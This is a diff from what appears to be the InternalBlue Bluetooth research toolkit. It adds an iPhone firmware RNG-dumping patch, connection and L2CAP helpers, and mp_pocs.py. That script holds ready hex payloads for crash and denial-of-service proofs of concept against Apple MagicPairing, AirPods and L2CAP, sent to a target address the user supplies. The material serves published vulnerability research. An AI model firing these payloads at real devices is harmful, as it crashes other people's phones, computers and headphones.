* We overwrite the original `rbg_rand` function with `bx lr` to
|
||||
ensure we're the only ones accessing the RNG.
|
||||
|
||||
* !!! Wi-Fi must be disabled by hand.
|
||||
|
||||
"""
|
||||
|
||||
# hd --len 0x1100 0x20f200
|
||||
# hd --len 0x1000 0x222000
|
||||
# hd --len 0x3000 0x229000
|
||||
ASM_LOCATION_RNG = 0x229000 # load our snippet here
|
||||
MEM_RNG = ASM_LOCATION_RNG + 0xf0 # store results here
|
||||
MEM_ROUNDS = 0x900 # run this often (x5 bytes)
|
||||
FUN_RNG = 0x6CE22 # original RNG function that we overwrite with bx lr
|
||||
|
||||
ASM_SNIPPET_RNG = """
|
||||
|
||||
pop {r4-r8, lr} // fix the launch ram 4 byte thingie
|
||||
|
||||
// use r0-r7 locally
|
||||
push {r0-r7, lr}
|
||||
|
||||
// send a command complete event as we overwrote the launch_RAM handler to prevent HCI timeout event wait
|
||||
mov r0, #0xFC4E // launch RAM command
|
||||
mov r1, 0 // event success
|
||||
bl 0x2BCA // bthci_event_SendCommandCompleteEventWithStatus
|
||||
|
||||
// enter RNG dumping mode
|
||||
ldr r0, =0x%x // run this many rounds
|
||||
ldr r1, =0x%x // dst: store RNG data here
|
||||
bl dump_rng
|
||||
|
||||
// done, let's notify
|
||||
bl notify_hci // doesn't work on iPhone 7 !!!
|
||||
|
||||
// back to lr
|
||||
pop {r0-r7, pc}
|
||||
|
||||
|
||||
//// the main RNG dumping routine
|
||||
dump_rng:
|
||||
|
||||
// wait until RNG is ready, which is indicated by status 0x200fffff
|
||||
wait_ready:
|
||||
ldr r2,=0x352604
|
||||
ldr r2, [r2]
|
||||
ldr r3, =0x200fffff
|
||||
cmp r2, r3
|
||||
bne wait_ready
|
||||
|
||||
// request new entropy: rbg_control_adr=1
|
||||
mov r3, 1
|
||||
ldr r2, =0x352600
|
||||
str r3, [r2]
|
||||
|
||||
// dst is in r1, dump RNG value here
|
||||
ldr r2, =0x352608
|
||||
ldr r3, [r2]
|
||||
str r3, [r1]
|
||||
add r1, 4
|
||||
|
||||
// add a test byte to ensure that no other process wrote here
|
||||
mov r3, 0x42
|
||||
str r3, [r1]
|
||||
add r1, 1
|
||||
|
||||
// loop for rounds in r0
|
||||
subs r0, 1
|
||||
bne dump_rng
|
||||
bx lr
|
||||
|
||||
|
||||
|
||||
//// issue an HCI event once we're done
|
||||
notify_hci:
|
||||
|
||||
push {r0-r4, lr}
|
||||
|
||||
// allocate vendor specific hci event
|
||||
mov r2, 6
|
||||
mov r1, 0xff
|
||||
mov r0, 8
|
||||
bl 0x2BF2 // bthci_event_AllocateEventAndFillHeader
|
||||
mov r4, r0 // save pointer to the buffer in r4
|
||||
|
||||
// append buffer with "RAND"
|
||||
add r0, 10
|
||||
ldr r1, =0x444e4152 // RAND
|
||||
str r1, [r0]
|
||||
|
||||
// send hci event
|
||||
mov r0, r4 // back to buffer at offset 0
|
||||
bl 0x29E0 // bthci_event_AttemptToEnqueueEventToTransport
|
||||
|
||||
pop {r0-r4, pc}
|
||||
|
||||
|
||||
""" % (MEM_ROUNDS, MEM_RNG)
|
||||
|
||||
|
||||
internalblue = iOSCore(log_level='info')
|
||||
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
|
||||
|
||||
# setup sockets
|
||||
if not internalblue.connect():
|
||||
log.critical("No connection to target device.")
|
||||
exit(-1)
|
||||
|
||||
progress_log = log.info("installing assembly patches...")
|
||||
|
||||
"""
|
||||
|
||||
# Disable original RNG
|
||||
patch = asm("bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
|
||||
if not internalblue.patchRom(FUN_RNG, patch):
|
||||
log.critical("Could not disable original RNG!")
|
||||
exit(-1)
|
||||
"""
|
||||
|
||||
# Install the RNG code in RAM (2nd step on iPhone to not disturb the readMemAligned snippet)
|
||||
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
|
||||
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=progress_log):
|
||||
progress_log.critical("error!")
|
||||
exit(-1)
|
||||
|
||||
|
||||
# iPhone 7 Launch_RAM fix: overwrite an unused HCI handler
|
||||
# Here it is not called within the handler table but within another function.
|
||||
patch = asm("b 0x%x" % ASM_LOCATION_RNG, vma=0x607AC)
|
||||
if not internalblue.patchRom(0x607AC, patch, 0): # use slot 0 and only slot 0
|
||||
log.critical("Could not implement our launch RAM fix!")
|
||||
exit(-1)
|
||||
|
||||
|
||||
|
||||
log.info("Installed all RNG hooks.")
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
"""
|
||||
We cannot call HCI Read_RAM from this callback as it requires another callback (something goes wrong here),
|
||||
so we cannot solve this recursively but need some global status variable. Still, polling this is way faster
|
||||
than polling a status register in the Bluetooth firmware itself.
|
||||
"""
|
||||
# global status
|
||||
internalblue.rnd_done = False
|
||||
def rngStatusCallback(record):
|
||||
hcipkt = record[0] # get HCI Event packet
|
||||
|
||||
if not issubclass(hcipkt.__class__, hci.HCI_Event):
|
||||
return
|
||||
|
||||
if hcipkt.data[0:4] == bytes("RAND", "utf-8"):
|
||||
log.debug("Random data done!")
|
||||
internalblue.rnd_done = True
|
||||
|
||||
# add RNG callback
|
||||
internalblue.registerHciCallback(rngStatusCallback)
|
||||
|
||||
|
||||
#cli.commandLoop(internalblue)
|
||||
|
||||
|
||||
|
||||
# read for multiple rounds to get more experiment data
|
||||
rounds = 1000
|
||||
i = 0
|
||||
data = bytearray()
|
||||
while rounds > i:
|
||||
log.info("RNG round %i..." % i)
|
||||
|
||||
# launch assembly snippet
|
||||
internalblue.launchRam(ASM_LOCATION_RNG)
|
||||
|
||||
# wait until we set the global variable that everything is done
|
||||
while not internalblue.rnd_done:
|
||||
continue
|
||||
internalblue.rnd_done = False
|
||||
|
||||
# and now read and save the random
|
||||
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS*5)
|
||||
|
||||
# do an immediate check to tell where the corruption happened
|
||||
check = random[4::5]
|
||||
pos = 0
|
||||
failed = False
|
||||
for c in check:
|
||||
pos = pos + 1
|
||||
if c != 0x42:
|
||||
log.warn(" Data was corrupted at 0x%x, repeating round." % (MEM_RNG+(pos*5)))
|
||||
failed = True
|
||||
break
|
||||
|
||||
if failed:
|
||||
continue
|
||||
|
||||
# no errors, save data
|
||||
data.extend(random)
|
||||
i = i + 1
|
||||
|
||||
log.info("Finished acquiring random data!")
|
||||
|
||||
|
||||
|
||||
# uhm and for deleting every 5th let's take numpy (oh why??)
|
||||
data = np.delete(data, np.arange(4, data.__len__(), 5))
|
||||
|
||||
|
||||
f = open("i7_randomdata-%irounds-%s.bin" % (rounds, datetime.now()), "wb")
|
||||
f.write(data)
|
||||
f.close()
|
||||
|
||||
|
||||
#log.info("--------------------")
|
||||
#log.info("Entering InternalBlue CLI to interpret RNG.")
|
||||
|
||||
## enter CLI
|
||||
#cli.commandLoop(internalblue)
|
||||
|
||||
@@ -0,0 +1,242 @@
|
||||
# This class can be used to create a bluetooth connection
|
||||
# to a remote device. currently it only supports unauthenticated
|
||||
# connections. in general, it is very basic and offers the bare minimum
|
||||
# to semi-reliably hold an active l2cap channel.
|
||||
|
||||
import time
|
||||
import struct
|
||||
import threading
|
||||
|
||||
from pwn import *
|
||||
import internalblue.hci as hci
|
||||
|
||||
CONNECTION_TYPE_CLASSIC = 0
|
||||
CONNECTION_TYPE_BLE = 1
|
||||
|
||||
class BluetoothConnection:
|
||||
|
||||
def __init__(self, core, bd_addr, reconnect=1, keepalive=True, timeout=5):
|
||||
self.core = core
|
||||
self.remote_addr = bd_addr
|
||||
self.reconnect = reconnect
|
||||
self.keepalive = keepalive
|
||||
self.timeout = timeout
|
||||
|
||||
# the handle also determines whether there is currently an active connection
|
||||
self.handle = None
|
||||
self.aclHandlers = []
|
||||
self.reconnect_counter = 0
|
||||
self.keepalive_active = False
|
||||
self.link_keys = {}
|
||||
self.encrypted = False
|
||||
self.started_connection = False
|
||||
# connection type can be either 0 (classic) or 1 (ble), default is classic
|
||||
self.connection_type = CONNECTION_TYPE_CLASSIC
|
||||
|
||||
self.connection_callback = None
|
||||
self.encryption_callback = None
|
||||
|
||||
self.core.registerHciCallback(self._callback)
|
||||
|
||||
def _keepaliveTimer(self):
|
||||
if self.keepalive and self.handle:
|
||||
self._sendKeepalive()
|
||||
if self.keepalive_active:
|
||||
threading.Timer(1, self._keepaliveTimer).start()
|
||||
|
||||
def _sendKeepalive(self):
|
||||
pass
|
||||
|
||||
def _callback(self, record):
|
||||
h4_record = record[0]
|
||||
|
||||
if issubclass(h4_record.__class__, hci.HCI_Event):
|
||||
self._hciEventHandler(h4_record)
|
||||
elif issubclass(h4_record.__class__, hci.HCI_Acl):
|
||||
self._aclEventHandler(h4_record.getRaw())
|
||||
|
||||
def _hciEventHandler(self, h4_record):
|
||||
event = h4_record.event_code
|
||||
hci_data = h4_record.data
|
||||
status = hci_data[0]
|
||||
|
||||
# connection complete event
|
||||
if event == 3:
|
||||
# connection complete - sucess
|
||||
if status == 0:
|
||||
handle = struct.unpack_from("h", hci_data[1:])[0]
|
||||
self.handle = handle
|
||||
log.info("Connection to %s complete", binascii.hexlify(self.remote_addr).decode("utf-8"))
|
||||
self.keepalive_active = True
|
||||
self._keepaliveTimer()
|
||||
# connection complete - page timeout
|
||||
elif status == 4:
|
||||
log.info("Page timeout while connecting to %s", binascii.hexlify(self.remote_addr).decode("utf-8"))
|
||||
# disconnection complete event
|
||||
elif event == 5:
|
||||
self.handle = None
|
||||
log.info("Disconnected from " + binascii.hexlify(self.remote_addr).decode("utf-8"))
|
||||
if self.reconnect_counter < self.reconnect:
|
||||
log.info("Trying to reconnect (attempt %d of %d)", self.reconnect_counter,
|
||||
self.reconnect)
|
||||
# wait a second, otherwise we sometimes don't get the connection complete event...
|
||||
time.sleep(1)
|
||||
self.connect()
|
||||
self.reconnect_counter += 1
|
||||
# authentication complete
|
||||
elif event == 6:
|
||||
# workaround as there is apparently a bug in pythons struct
|
||||
(status, ) = struct.unpack_from("b", hci_data)
|
||||
(handle, ) = struct.unpack_from("h", hci_data[1:])
|
||||
|
||||
log.info("got Authentication Complete from handle %s, status: %d", hex(handle),
|
||||
status)
|
||||
if status == 0:
|
||||
# authentication was successful, now set connection encryption
|
||||
self.core.sendHciCommand(0x0413, p16(handle) + "\x01")
|
||||
self.encrypted = True
|
||||
if self.encryption_callback:
|
||||
self.encryption_callback()
|
||||
pass
|
||||
else:
|
||||
handle = 0
|
||||
# encryption change complete
|
||||
elif event == 8:
|
||||
(handle, encrypt) = struct.unpack_from("hb", hci_data)
|
||||
log.info("Got Encryption Change Complete from handle %s, encrypt: %d", hex(handle),
|
||||
encrypt)
|
||||
# pin code request
|
||||
elif event == 0x16:
|
||||
(bd_addr, ) = struct.unpack_from("6s", hci_data)
|
||||
log.info("Got Pin Code Request for %s", binascii.hexlify(bd_addr).decode("utf-8"))
|
||||
self.core.sendHciCommand(0x040d, bd_addr + "\x00" + "\x41"*0x10)
|
||||
# link key request
|
||||
elif event == 0x17:
|
||||
(bd_addr, ) = struct.unpack_from("6s", hci_data)
|
||||
log.info("Got Link Key request from %s", binascii.hexlify(bd_addr).decode("utf-8"))
|
||||
# link keys are not really implemented yet, just return a random link key
|
||||
self.core.sendHciCommand(0x040b, bd_addr + bytes.fromhex("0d2017c7f90a78cefeeed32210e6519a"))
|
||||
return
|
||||
|
||||
if bd_addr in self.link_keys:
|
||||
# we have a link key for this device, set it
|
||||
lkey_buf = self.link_keys[bd_addr][::-1]
|
||||
self.core.sendHciCommand(0x040b, bd_addr + lkey_buf)
|
||||
else:
|
||||
# send negative link key reply, we don't have a key
|
||||
self.core.sendHciCommand(0x040c, bd_addr)
|
||||
|
||||
# link key notification
|
||||
elif event == 0x18:
|
||||
(bd_addr, link_key) = struct.unpack_from("6s16s", hci_data)
|
||||
log.info("Got Link Key notification from %s, key: %s", bd_addr, binascii.hexlify(link_key).decode("utf-8"))
|
||||
self.link_keys[bd_addr] = link_key
|
||||
# io capability request
|
||||
elif event == 0x31:
|
||||
(bd_addr, ) = struct.unpack_from("6s", hci_data)
|
||||
log.info("Got IO capability request from %s", binascii.hexlify(bd_addr).decode("utf-8"))
|
||||
# pretend to not have a display or oob data present
|
||||
# no display: 0x03, no oob: 0x00, auth requirements: 0x02
|
||||
self.core.sendHciCommand(0x042b, bd_addr + "\x03\x00\x02")
|
||||
# user confirmation request
|
||||
elif event == 0x33:
|
||||
(bd_addr, ) = struct.unpack_from("6s", hci_data)
|
||||
log.info("Got user confirmation request from %s", binascii.hexlify(bd_addr).decode("utf-8"))
|
||||
# we just accept any confirmation requests
|
||||
self.core.sendHciCommand(0x42c, bd_addr)
|
||||
# simple pairing complete
|
||||
elif event == 0x36:
|
||||
(bd_addr, ) = struct.unpack_from("6s", hci_data)
|
||||
log.info("Got simple pairing complete from %s", binascii.hexlify(bd_addr).decode("utf-8"))
|
||||
# le event
|
||||
# everything from le lands here...
|
||||
elif event == 0x3e:
|
||||
le_event_type = hci_data[0]
|
||||
le_handle = struct.unpack_from("h", hci_data[2:4])[0]
|
||||
# enhanced connection complete
|
||||
if le_event_type == 0x0a:
|
||||
log.info("Got le enhanced connection complete, removing device from whitelist")
|
||||
self.core.sendHciCommand(0x2012, bytes.fromhex("00") + self.remote_addr[::-1])
|
||||
elif le_event_type == 0x01:
|
||||
# sometimes we get connection complete events from previous sessions
|
||||
log.info("got le connection complete with handle %d", le_handle)
|
||||
if self.started_connection:
|
||||
self.handle = le_handle
|
||||
else:
|
||||
log.info("but ignoring it as we did not initiate this connection")
|
||||
|
||||
def _aclEventHandler(self, data):
|
||||
log.debug("Received ACL data: %s", binascii.hexlify(data).decode("utf-8"))
|
||||
for handler in self.aclHandlers:
|
||||
handler(data)
|
||||
|
||||
def encryptConnection(self):
|
||||
log.info("+ + + + + + + + Encrypt + + + + + + + +")
|
||||
if not self.handle:
|
||||
log.info("Cannot encrypt, no active connection")
|
||||
return
|
||||
|
||||
# authentication requested hci cmd
|
||||
log.info("Send authentication requested hci cmd")
|
||||
self.core.sendHciCommand(0x0411, p8(self.handle) + "\x00")
|
||||
|
||||
timeout = 3
|
||||
ctr = 0
|
||||
# wait 3 seconds for an encryted connection
|
||||
while ctr < timeout:
|
||||
time.sleep(0.1)
|
||||
if self.encrypted:
|
||||
return True
|
||||
|
||||
return False
|
||||
|
||||
def registerACLHandler(self, handler):
|
||||
self.aclHandlers.append(handler)
|
||||
log.debug("Registered new acl handler")
|
||||
|
||||
def sendACL(self, data):
|
||||
data_len = p16(len(data))
|
||||
handle = p16(self.handle | 0x2000)
|
||||
log.debug("Sent acl data: %s", binascii.hexlify(data).decode("utf-8"))
|
||||
self.core.sendH4(0x02, handle + data_len + data)
|
||||
|
||||
def connect(self):
|
||||
if self.connection_type == CONNECTION_TYPE_CLASSIC:
|
||||
self.core.connectToRemoteDevice(self.remote_addr)
|
||||
elif self.connection_type == CONNECTION_TYPE_BLE:
|
||||
# connection cancel
|
||||
self.core.sendHciCommand(0x200e, b"")
|
||||
# currently only supports random ble addresses, which are the ones
|
||||
# we're targeting here anyways
|
||||
self.core.connectToRemoteLEDevice(self.remote_addr, addr_type=0x01)
|
||||
self.started_connection = True
|
||||
else:
|
||||
log.error("invalid connection type: %d", self.connection_type)
|
||||
|
||||
timeout_counter = 0
|
||||
while timeout_counter < self.timeout:
|
||||
if self.handle:
|
||||
break
|
||||
time.sleep(0.1)
|
||||
timeout_counter += 0.1
|
||||
|
||||
if self.handle is None:
|
||||
status = False
|
||||
|
||||
log.info("Connection timeout")
|
||||
if self.reconnect_counter < self.reconnect:
|
||||
log.info("Trying to reconnect (attempt %d of %d)", self.reconnect_counter,
|
||||
self.reconnect)
|
||||
self.reconnect_counter += 1
|
||||
status = self.connect()
|
||||
else:
|
||||
log.error("Reconnection attempts exhausted")
|
||||
status = False
|
||||
else:
|
||||
log.info("Connection successful")
|
||||
if self.connection_callback:
|
||||
self.connection_callback()
|
||||
status = True
|
||||
|
||||
return status
|
||||
|
||||
@@ -0,0 +1,73 @@
|
||||
#!/usr/bin/python2
|
||||
|
||||
# Dennis Heinze
|
||||
|
||||
import sys
|
||||
import time
|
||||
import os
|
||||
import binascii
|
||||
|
||||
from pwn import *
|
||||
|
||||
class L2CAPManager:
|
||||
|
||||
def __init__(self, btconn, mtu=0x30):
|
||||
self.connection = btconn
|
||||
|
||||
self.connection.registerACLHandler(self._receptionHandler)
|
||||
|
||||
# cidHandlers is a map from CID -> function array
|
||||
self.cidHandlers = {}
|
||||
self.handlers = []
|
||||
self.mtu = mtu
|
||||
|
||||
def sendData(self, data, cid):
|
||||
data_len = len(data)
|
||||
# if data_len > mtu
|
||||
log.debug("Sent L2CAP data to channel: %d, data: %s", cid, binascii.hexlify(data))
|
||||
self.connection.sendACL(p16(data_len) + p16(cid) + data)
|
||||
|
||||
def registerHandler(self, handler):
|
||||
self.handlers.append(handler)
|
||||
log.debug("Registered L2CAP handler")
|
||||
|
||||
def registerCIDHandler(self, handler, cid):
|
||||
if cid not in self.cidHandlers:
|
||||
self.cidHandlers[cid] = []
|
||||
|
||||
self.cidHandlers[cid].append(handler)
|
||||
log.debug("Registered L2CAP handler for CID %d", cid)
|
||||
|
||||
def _receptionHandler(self, data):
|
||||
if len(data) > 5:
|
||||
l2cap_data = data[5:]
|
||||
else:
|
||||
log.debug("Received invalid L2CAP data at handler: %s", data)
|
||||
return
|
||||
|
||||
# prioritize specific CID handlers
|
||||
(length, cid) = struct.unpack_from("hh", l2cap_data)
|
||||
log.debug("Received L2CAP data for cid: %d, %s", cid, binascii.hexlify(l2cap_data))
|
||||
if cid in self.cidHandlers:
|
||||
for handler in self.cidHandlers[cid]:
|
||||
handler(l2cap_data[4:])
|
||||
|
||||
for handler in self.handlers:
|
||||
handler(l2cap_data[4:])
|
||||
|
||||
|
||||
class L2CAPSignalChannel:
|
||||
|
||||
def __init__(self, chanman):
|
||||
self.chanman = chanman
|
||||
self.chanman.registerCIDHandler(0x01, self._receptionHandler)
|
||||
|
||||
def sendCFrameRaw(self, code, identifier, length, data):
|
||||
self.chanman.sendData(code + identifier + length + data)
|
||||
|
||||
def sendCFrame(self, code, identifier, data):
|
||||
data_len = len(data) / 2
|
||||
self.sendCFrameRaw(code, identifier, p16(data_len), data)
|
||||
|
||||
def _receptionHandler(self, data):
|
||||
pass
|
||||
@@ -0,0 +1,9 @@
|
||||
# MagicPairing PoCs
|
||||
|
||||
This folder contains the proof-of-concepts belonging to our WiSec paper
|
||||
[MagicPairing: Apple's Take on Securing Bluetooth Peripherals](https://arxiv.org/abs/2005.07255).
|
||||
|
||||
Run the `mp_pocs.py` script to try the PoCs. The script will interactively ask
|
||||
for the required information for each of the PoCs. It assumes a connected iOS
|
||||
device running InternalBlue. This can be changes by adopting the core to the
|
||||
desired one (i.e. for macOS `internalblue = macOSCore()`).
|
||||
@@ -0,0 +1,164 @@
|
||||
import sys
|
||||
import time
|
||||
import binascii
|
||||
|
||||
from pwn import *
|
||||
from internalblue.ioscore import iOSCore
|
||||
from BTConnection import BluetoothConnection
|
||||
import InternalBlueL2CAP
|
||||
|
||||
VULNS = [{
|
||||
"description": "[MP1]: iOS RatchetAESSIV Crash (0xa8)",
|
||||
"tech": 0,
|
||||
"payload": "02010280003600AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" +
|
||||
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" +
|
||||
"AAAAAAAAAAA001040012345678",
|
||||
"cid": 0x30,
|
||||
"mtu": True
|
||||
}, {
|
||||
"description": "[MP2]: iOS Hint Crash (0x1)",
|
||||
"tech": 0,
|
||||
"payload": "01020304050607",
|
||||
"cid": 0x30,
|
||||
"mtu": False
|
||||
}, {
|
||||
"description": "[MP3]: macOS RatchetAESSIV Crash (0x0)",
|
||||
"tech": 0,
|
||||
"payload": "02010280003600AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" +
|
||||
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" +
|
||||
"AAAAAAAAAAA001040012345678",
|
||||
"cid": 0x30,
|
||||
"mtu": True
|
||||
}, {
|
||||
"description": "[MP4]: macOS Hint Crash (0x0)",
|
||||
"tech": 0,
|
||||
"payload": "01010310001000AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA20001000BB" +
|
||||
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBB0001040012345678",
|
||||
"cid": 0x30,
|
||||
"mtu": True
|
||||
}, {
|
||||
"description": "[MP5]: iOS RatchetAESSIV Crash (0x10d)",
|
||||
"tech": 0,
|
||||
"payload": "02010b028000360091b51d14747835f3a0818f7de4434329b3d4e265" +
|
||||
"e5005b3f3ad5fdcaea6991b51d147478307de4434329b3d4e265e500" +
|
||||
"5b3f3ad5fdcaea6991b51d147478343239343936373239357de44343" +
|
||||
"29b3d4e265e5005b3f3ad5fdcaea6991a5580267a9a761bf4b046cf3" +
|
||||
"0e4f6147a1a06bb74b5702d6c0333430323832333636393230393338" +
|
||||
"343633343633333734363037343331373638f3a081b4323131343831" +
|
||||
"6c010104002b0100",
|
||||
"cid": 0x30,
|
||||
"mtu": True
|
||||
}, {
|
||||
"description": "[MP6]: iOS RatchetAESSIV Assertion Failure Crash",
|
||||
"tech": 0,
|
||||
"payload": "02f3a081ae80002d330091b51d147478360104002b010000a393d231" +
|
||||
"31fe617878f69af4207d34323934393637333033e22775642f7fc1cd" +
|
||||
"9fdcddc89934dd39608afc6948b87ee0ef8968286341fd0515f98acd" +
|
||||
"5fb62f55f923887021a4ea8730cbaae05058b60f673c510a6170aa2e" +
|
||||
"cbdf1d142f763ef03f38d27c392ecdf1a574fdf906bcf74aa35da085" +
|
||||
"f137ddecff2aec0d5c95b8fa83a71b42af205359e4f02aaca2ab4778" +
|
||||
"001274a8183334303238323336363932303933383436333436333337" +
|
||||
"34363037343331373638323131343536057f",
|
||||
"cid": 0x30,
|
||||
"mtu": True
|
||||
}, {
|
||||
"description": "[MP7]: macOS Ratcheting Loop DoS",
|
||||
"tech": 0,
|
||||
"payload": "02010280003600AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" +
|
||||
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" +
|
||||
"AAAAAAAAAA00010400fffffff0",
|
||||
"cid": 0x30,
|
||||
"mtu": True,
|
||||
"addr_change": True
|
||||
}, {
|
||||
"description": "[MP8]: MagicPairing Lockout - NOT IMPLEMENTED HERE"
|
||||
}, {
|
||||
"description": "[L2CAP1]: AirPods L2CAP Crash",
|
||||
"tech": 0,
|
||||
"payload": "",
|
||||
"cid": 0x30,
|
||||
"mtu": False,
|
||||
}, {
|
||||
"description": "[L2CAP2]: Group Reception Handler NULL-Pointer Jump (Classic Version)",
|
||||
"tech": 0,
|
||||
"payload": "000001000200",
|
||||
"cid": 0x02,
|
||||
"mtu": False,
|
||||
}, {
|
||||
"description": "[L2CAP2]: Group Reception Handler NULL-Pointer Jump (BLE Version)",
|
||||
"tech": 1,
|
||||
"payload": "000001000200",
|
||||
"cid": 0x02,
|
||||
"mtu": False,
|
||||
}
|
||||
]
|
||||
|
||||
def listener(data):
|
||||
log.info("Listener received: %s", binascii.hexlify(data))
|
||||
|
||||
def bd_addr_to_bytes(addr_string):
|
||||
addr = addr_string.replace(":", "")
|
||||
return bytes.fromhex(addr)
|
||||
|
||||
def main():
|
||||
internalblue = iOSCore()
|
||||
|
||||
# let user choose device if more than one is connected
|
||||
devices = internalblue.device_list()
|
||||
if len(devices) > 1:
|
||||
i = options("Please specify device: ", [d[2] for d in devices], 0)
|
||||
internalblue.interface = internalblue.device_list()[i][1]
|
||||
else:
|
||||
internalblue.interface = internalblue.device_list()[0][1]
|
||||
|
||||
# let use choose the vuln
|
||||
i = options("Please choose your vuln: ", [v["description"] for v in VULNS], 0)
|
||||
|
||||
vuln = VULNS[i]
|
||||
|
||||
if not internalblue.connect():
|
||||
log.critical("No connection to internalblue device.")
|
||||
sys.exit(-1)
|
||||
|
||||
# if the vuln requires an address change, ask for the address
|
||||
if "addr_change" in vuln and vuln["addr_change"]:
|
||||
change_addr = input("This PoC requires the Bluetooth address to be changed, " +
|
||||
"please provide it: ")
|
||||
change_addr = bd_addr_to_bytes(change_addr)
|
||||
internalblue.sendHciCommand(0xfc01, change_addr[::-1])
|
||||
|
||||
# now we need the bd addr of the target
|
||||
target = bd_addr_to_bytes(input("Target Bluetooth address: "))
|
||||
|
||||
# connect to the target
|
||||
connection = BluetoothConnection(internalblue, target, reconnect=0)
|
||||
l2cap = InternalBlueL2CAP.L2CAPManager(connection)
|
||||
|
||||
# in case we need an answer for one of the PoCs we listen to the given CID
|
||||
if "listen_cid" in vuln:
|
||||
l2cap.registerCIDHandler(listener, vuln["listen_cid"])
|
||||
|
||||
# set the Bluetooth technology [0->Classic, 1->BLE]
|
||||
connection.connection_type = vuln["tech"]
|
||||
connection.connect()
|
||||
|
||||
# If the PoC includes larger messages we need to do the MagicPairing Ping trick to
|
||||
# increase the MTU. This could also be done by sending L2CAP Information Requests and
|
||||
# Responses but this would take longer.
|
||||
if vuln["mtu"]:
|
||||
log.info("Sending MagicPairing Ping to increase L2CAP MTU")
|
||||
l2cap.sendData(bytes.fromhex("F00000"), 0x30)
|
||||
|
||||
desc = vuln["description"]
|
||||
log.info("Executing payload for %s", desc[:desc.find("]")+1])
|
||||
if isinstance(vuln["payload"], list):
|
||||
for p in vuln["payload"]:
|
||||
l2cap.sendData(bytes.fromhex(p), vuln["cid"])
|
||||
else:
|
||||
log.info("Sending: { %s }", vuln["payload"])
|
||||
l2cap.sendData(bytes.fromhex(vuln["payload"]), vuln["cid"])
|
||||
|
||||
time.sleep(1)
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -1,14 +1,14 @@
|
||||
#!/usr/bin/env python2
|
||||
#!/usr/bin/env python3
|
||||
|
||||
# Jiska Classen
|
||||
|
||||
# Get receive statistics on a Nexus 5 for BLE connection events
|
||||
|
||||
from builtins import range
|
||||
from pwn import *
|
||||
from internalblue.adbcore import ADBCore
|
||||
import internalblue.hci as hci
|
||||
import internalblue.cli as cli
|
||||
from internalblue.utils.pwnlib_wrapper import log, asm, u8, u16
|
||||
|
||||
internalblue = ADBCore(serial=False)
|
||||
device_list = internalblue.device_list()
|
||||
@@ -118,7 +118,7 @@ def lereceiveStatusCallback(record):
|
||||
if not issubclass(hcipkt.__class__, hci.HCI_Event):
|
||||
return
|
||||
|
||||
if hcipkt.data[0:4] == "RXDN":
|
||||
if hcipkt.data[0:4] == b'RXDN':
|
||||
data = hcipkt.data[4:]
|
||||
|
||||
# Raspi 3 gets errors
|
||||
@@ -126,11 +126,11 @@ def lereceiveStatusCallback(record):
|
||||
return
|
||||
|
||||
# !!! Nexus 5 has really outdated struct...
|
||||
packet_curr_nesn_sn = u8(data[0xa0])
|
||||
packet_curr_nesn_sn = data[0xa0]
|
||||
packet_channel_map = data[0x4c:0x4c+38]
|
||||
packet_channel = u8(data[0x7b])
|
||||
packet_channel = data[0x7b]
|
||||
packet_event_ctr = u16(data[0x86:0x88])
|
||||
packet_rssi = u8(data[0])
|
||||
packet_rssi = data[0]
|
||||
|
||||
if internalblue.last_nesn_sn and ((internalblue.last_nesn_sn ^ packet_curr_nesn_sn) & 0b1100) != 0b1100:
|
||||
log.info(" ^----------------------------- ERROR --------------------------------")
|
||||
@@ -153,11 +153,11 @@ def lereceiveStatusCallback(record):
|
||||
elif packet_rssi < 0xc0:
|
||||
color = '\033[91m' # red
|
||||
|
||||
channels_total = u8(packet_channel_map[37])
|
||||
channels_total = packet_channel_map[37]
|
||||
channel_map = 0x0000000000
|
||||
if channels_total <= 37: # raspi 3 messes up with this during blacklisting
|
||||
for channel in range(0, channels_total):
|
||||
channel_map |= (0b1 << 39) >> u8(packet_channel_map[channel])
|
||||
channel_map |= (0b1 << 39) >> packet_channel_map[channel]
|
||||
|
||||
log.info("LE event %5d, map %10x, RSSI %d: %s%s*\033[0m " % (packet_event_ctr, channel_map,
|
||||
(packet_rssi & 0x7f) - (128 * (packet_rssi >> 7)),
|
||||
|
||||
+160
@@ -0,0 +1,160 @@
|
||||
#!/usr/bin/python3
|
||||
|
||||
# Jiska Classen, Secure Mobile Networking Lab
|
||||
|
||||
import sys
|
||||
|
||||
from pwn import *
|
||||
from internalblue.adbcore import ADBCore
|
||||
|
||||
|
||||
"""
|
||||
This is a crash only test for CVE-2018-19860. Install this patch and connect
|
||||
to any device. If the target device Bluetooth chip crashes upon connection,
|
||||
it is vulnerable. If not, it is likely not, but to be sure, adapt the value for
|
||||
`LMP_VSC_CMD_START` and `LMP_VSC_CMD_END`.
|
||||
|
||||
This snippet modifies connection establishment. To be still compatible with
|
||||
scanning for devices, feature_req and name_req should not be modified.
|
||||
We modify send_LMP_host_connection_req_586E6, which is only triggered when
|
||||
clicking on another device to establish a connection. Then we launch the attack
|
||||
that tries vendor specific LMP commands LMP_VSC_ff ... LMP_VSC_00.
|
||||
|
||||
TODO
|
||||
After ~24 commands, this cannot be repeated any more. Tapping again too early
|
||||
crashes the driver. Long waiting loops don't help. A good workaround is to
|
||||
loop from LMP_VSC_0a to LMP VSC 00, which is enough to see if LMP VSC are
|
||||
implemented (LMP_VSC_03 will be replied with LMP_VSC_05) and if the device
|
||||
is vulnerable (LMP_VSC_0a will not be answered) or not vulnerable (LMP_VSC_0a
|
||||
will be replied with LMP_not_accepted).
|
||||
|
||||
"""
|
||||
